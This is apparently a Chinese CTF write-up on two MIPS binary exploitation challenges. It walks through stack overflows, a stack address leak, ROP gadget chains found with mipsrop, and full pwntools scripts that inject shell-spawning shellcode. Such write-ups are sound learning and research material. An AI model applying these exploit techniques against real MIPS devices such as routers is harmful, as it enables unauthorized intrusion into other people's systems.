MIPS Pwn赛题学习
MIPS Pwn writeup
Mplogin
静态分析
mips pwn入门题。
mips pwn查找gadget使用IDA mipsrop这个插件，兼容IDA 6.x和IDA 7.x，在IDA 7.5中解决方案可以参考这个链接：https://bbs.pediy.com/thread-266102.htm
程序流程比较简单，输入用户名和密码进行登录操作。
漏洞存在在vuln函数中，buf只有20字节的空间，但是read函数填充了36字节的数据，覆盖了栈内变量length，将length修改为一个很大的值，在第二次read的时候，就可以溢出修改$ra寄存器保存的地址，劫持数据流。
动态调试
运行和调试环境：qemu-mipsel-static + chroot +IDA远程调试。
漏洞点比较明确，保护机制也不多，MIPS不支持NX就给了我们向栈区写入shellcode的权利，溢出控制$ra寄存器直接跳转到shellcode处就可以了。
由于栈区地址是未知的，在没有开启aslr的情况下，可以直接确定shellcode的地址，开启aslr保护之后，首先要泄露一个栈地址。可能存在地址泄露的点，在sub_400480函数中，跟进这个函数，看一下栈的布局。
$sp寄存器的值是0x7ffff688，buf的地址在$sp指向的栈顶加18字节处，也就是0x7ffff800是buf起始地址。
栈中的布局如上图所示，memset初始化了缓冲区，但是如果填充了24个可见字符的话，就会泄露出0x7ffff6a0，0x7ffff6a0是main函数栈顶地址。
泄露出一个栈地址，可以帮助我们绕过aslr的保护，让我们可以把shellcode布置在栈上，然后控制$ra寄存器精准跳转到栈上来执行shellcode。
要执行mips的shellcode，需要mips和mipsel的链接器，所以需要安装binutils-mips-linux-gnu和binutils-mipsel-linux-gnu。
apt-get install binutils-mips-linux-gnu apt-get install binutils-mipsel-linux-gnu
漏洞利用
from pwn import *
context.log_level = 'debug'
context.arch = 'mips'
context.os = 'linux'
p = process(["qemu-mipsel","-L","./","./Mplogin"])
elf = ELF('./Mplogin')
libc = ELF('./lib/libc.so.0')
p.recv()
payload = 'admin'+'a'*18
p.sendline(payload)
p.recvuntil('a'*18+'\n')
main_sp = u32(p.recvn(4))
vuln_sp = main_sp - 0x68
log.success("main $sp : %s"%main_sp)
log.success("vuln $sp : %s"%vuln_sp)
p.recvuntil('Pre_Password : ')
payload = 'access'
payload = payload.ljust(0x14,'a')
payload += p32(0x200)
payload = payload.ljust(35,'b')
p.sendline(payload)
shellcode = pwnlib.shellcraft.mips.sh()
shellcode = pwnlib.asm.asm(shellcode)
p.recvuntil('Password : ')
payload = '0123456789'
payload = payload.ljust(0x28,'a')
payload += p32(vuln_sp + 0x68)
payload += shellcode
p.send(payload)
p.interactive()
对于mips架构，我们依然可以通过pwntools来进行动态调试。
首先填充字符串，泄露地址信息。
然后改写length的值为0x200。
在第二次调用read的时候，可以看到$a2寄存器被修改为了0x200。
输入点距离保存$ra寄存器地址的偏移是0x28字节，在保存$ra寄存器的地址后面布置好shellcode就可以愉快getshell了。
HWS结营赛题：Pwn
Analysis
题目的关键代码都在pwn这个函数中。
bool pwn()
{
int v0; // $v0
_BOOL4 result; // $v0
int v3; // [sp+0h] [+0h] BYREF
int v4[2]; // [sp+10h] [+10h] BYREF
_BYTE *v5; // [sp+18h] [+18h]
_BYTE *heap_ptr; // [sp+1Ch] [+1Ch]
unsigned int i; // [sp+20h] [+20h]
int j; // [sp+24h] [+24h]
int v9; // [sp+28h] [+28h]
int v10; // [sp+2Ch] [+2Ch]
int v11; // [sp+30h] [+30h]
int *v12; // [sp+34h] [+34h]
int *v13; // [sp+38h] [+38h]
int *v14; // [sp+3Ch] [+3Ch]
int read_count; // [sp+40h] [+40h]
int separated_idx; // [sp+44h] [+44h]
_BYTE *size; // [sp+48h] [+48h]
int group_num[3]; // [sp+4Ch] [+4Ch] BYREF
heap_ptr = (_BYTE *)malloc(512);
puts("Enter the group number: ");
if ( !_isoc99_scanf("%d", group_num) )
{
printf("Input error!");
exit(-1);
}
if ( !group_num[0] || group_num[0] >= 0xAu )
{
fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
exit(-1);
}
group_num[1] = (int)&v3;
v9 = 36;
v10 = 36 * group_num[0];
v11 = 36 * group_num[0] - 1;
v12 = v4;
memset(v4, 0, 36 * group_num[0]);
for ( i = 0; ; ++i )
{
result = i < group_num[0];
if ( i >= group_num[0] )
break;
v13 = (int *)((char *)v12 + i * v9);
v14 = v13;
memset(heap_ptr, 0, 4);
puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
read_count = read(0, heap_ptr, 768); // heap overflow
if ( v13 )
{
v0 = atoi(heap_ptr);
*v14 = v0;
separated_idx = strchr(heap_ptr, ':');
for ( j = 0; heap_ptr++; ++j )
{
if ( *heap_ptr == '\n' )
{
v5 = heap_ptr;
break;
}
}
size = &v5[-separated_idx];
if ( !separated_idx )
{
puts("format error!");
exit(-1);
}
memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
}
else
{
printf("Error!");
v14[1] = 'aaa\0';
}
}
return result;
}
题目中，首先申请了一个chunk，chunk的大小是512字节，这个chunk在后面的输入中会被溢出。
申请出chunk之后，会要求我们输入group number，输入的group number会进行检查，首先要求输入的必须是数字，同时输入的第一个字节要么是空格，要么是'\n'，否则就会exit(-1)退出执行流程。
read_count = read(0, heap_ptr, 768); // heap overflow if ( v13 ) { v0 = atoi(heap_ptr); *v14 = v0; separated_idx = strchr(heap_ptr, ':'); for ( j = 0; heap_ptr++; ++j ) { if ( *heap_ptr == '\n' ) { v5 = heap_ptr; break; } } size = &v5[-separated_idx]; if ( !separated_idx ) { puts("format error!"); exit(-1); } memcpy(v14 + 1, separated_idx + 1, size); // stack overflow }
存在堆溢出的同时，在后面还有对memcpy这个危险函数的调用，memcpy的源地址和目的地址都是栈中保存的地址，size是用户可控的，我们需要通过调试，来进一步了解栈布局，看看这里有没有发生溢出的可能。
debug
在调用memcpy函数之前，看一下$a0，$a1，$a2三个寄存器的值。
$a0保存的是一个栈区地址，而memcpy的第三个参数是可控的，这样一来，确实有造成栈溢出的危险。
回溯一下memcpy第三个参数size。
如图所示的代码就是size被赋值的操作，可以看到，size的值是heap_ptr-separated_idx的值，就是说我们":"后面输入的长度决定了size的大小，如果":"后面输入的数据特别长的话，自然就发生溢出了。memcpy拷贝的数据也就是堆里的数据，所以我们控制好冒号后面的数据，就可以覆盖保存$ra寄存器的地址，继而劫持执行流程。
如图所示，返回地址距离栈顶的偏移是0xA4字节，所以首先填充0xA4字节的padding，然后再覆盖返回地址控制$ra寄存器。
这道题目，基本也是没有开保护机制，虽然checksec显示有canary保护，但是在pwn函数中没有canary。主要要考虑的还是如何绕过aslr的保护。这道题中没有泄露信息的地方，所以只能考虑构造rop chain去绕过aslr。由于程序是静态链接，所以不能ret2libc去找system函数。那么如果可以泄露出一个栈地址的话，继续ret2shellcode也是可以的。
IDA中有一个寻找gadget的好工具mipsrop，在github中可以找到：https://github.com/tacnetsol/ida
关于mipsrop，这个帖子里有一些很好用的技巧：https://www.cnblogs.com/hac425/p/9416864.html
在离开pwn函数的时候，可以通过布置栈数据，继而控制一些寄存器的值：
泄露栈地址的话，需要借助到一些输出函数，常见的输出函数puts，write，printf等等在这个静态链接的程序中都可以找到。不同的函数需要的寄存器不同，需要注意的条件也不同，puts函数最大的限制是不能输出'\x00'截断符，但是需要的参数少。write函数对应的限制就是有三个参数，需要精心构造。
将栈地址填充到寄存器的gadget有下面这些：
方便函数调用的gadget可以用mipsrop.tail()或者mipsrop.doubles()来查找。
mipsrop.stackfinders()里面有将栈地址填充到$v0的gadget，而mipsrop.tail()中有跳转到$v0的操作，这样看来，如果控制好shellcode在栈中的布局，直接填充到$v0中，再跳转到$v0寄存器指向的地址就直接可以执行了。
from pwn import *
context.log_level = "debug"
context.arch = "mips"
context.endian = "big"
context.os = "linux"
p = process(['qemu-mips','./h4pwn'])
stack_a1 = 0x44AEFC
# 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5
li_a1_1 = 0x41F4E8
# 0x0041F4E8 | li $a1,1 | jalr $s1
move_a0_a1 = 0x4384c0
# 0x004384C0 | move $a0,$a1 | jalr $s2
move_a2_s7 = 0x44B534
# 0x0044B534 | move $a2,$s7 | jalr $s0
move_t9_s4 = 0x41F9B4
# 0x0041F9B4 | move $t9,$s4 | jalr $s4
jr_v0 = [0x45882C,0x458884]
# 0x0045882C | move $t9,$v0 | jr $v0
# 0x00458884 | move $t9,$v0 | jr $v0
stack_v0 = 0x44B1EC
# 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2
write_addr = 0x41E290
pwn_addr = 0x400634
start_addr = 0x400360
main_addr = 0x400AB8
elf = ELF('./h4pwn')
shellcode = pwnlib.shellcraft.mips.sh()
shellcode = pwnlib.asm.asm(shellcode)
p.recvuntil("number: \n")
p.sendline(' 1')
p.recvuntil("eg => '1:Job.' \n")
'''
payload = '1:'
payload += 'a'*20
payload += 'a'*0x58
payload += p32(move_t9_s4) # $s0
payload += p32(move_a0_a1) # $s1
payload += p32(stack_a1) # $s2
payload += p32(stack_a1) # $s3
payload += p32(write_addr) # $s4
payload += p32(move_a2_s7) # $s5
payload += p32(move_a2_s7) # $s6
payload += p32(4) # $s7
payload += p32(0xdeadbeef) # $fp
payload += p32(li_a1_1) # $ra
payload += 'a'*0x28
payload += p32(pwn_addr)
p.sendline(payload)
main_sp = u32(p.recvn(4)) - 0x2c
log.success("main_sp address: %s"%hex(main_sp))
'''
payload = '1:'
payload += 'a'*20
payload += 'a'*0x58
payload += p32(jr_v0[1])*8 # $s0 - $s7
payload += 'aaaa' # $fp
payload += p32(stack_v0) # $ra
payload += 'a'*0x2c
payload += shellcode
payload += '.'
p.sendline(payload)
#p.recv()
p.interactive()
总结
mips pwn的rop chain相对于x86架构来说，稍微复杂一些，主要是控制的寄存器不同，栈桢结构有所不同，构造方式更加多样化，所以在选择构造rop的时候，合理借助mipsrop这种工具，注意复杂函数返回时恢复寄存器现场的情况，提前布置好参数。但是利用方式也相对更粗暴一些，主要是由于mips架构硬件的原因，不能支持NX，所以很多时候关键在于合理布置shellcode，避免坏字符等等问题。路由器目前主流的漏洞利用方式还是rop，公开的堆漏洞并不多，所以熟练掌握mips架构下rop技术是学习路由器漏洞利用的必经之路。
千变万化，rop这种技术基本的框架还是没有变，核心思想还是控制返回地址，控制指令寄存器，劫持程序的执行流程，做完这两题，对于mips rop更加熟悉一些，方便后面进行一些路由器漏洞的复现。
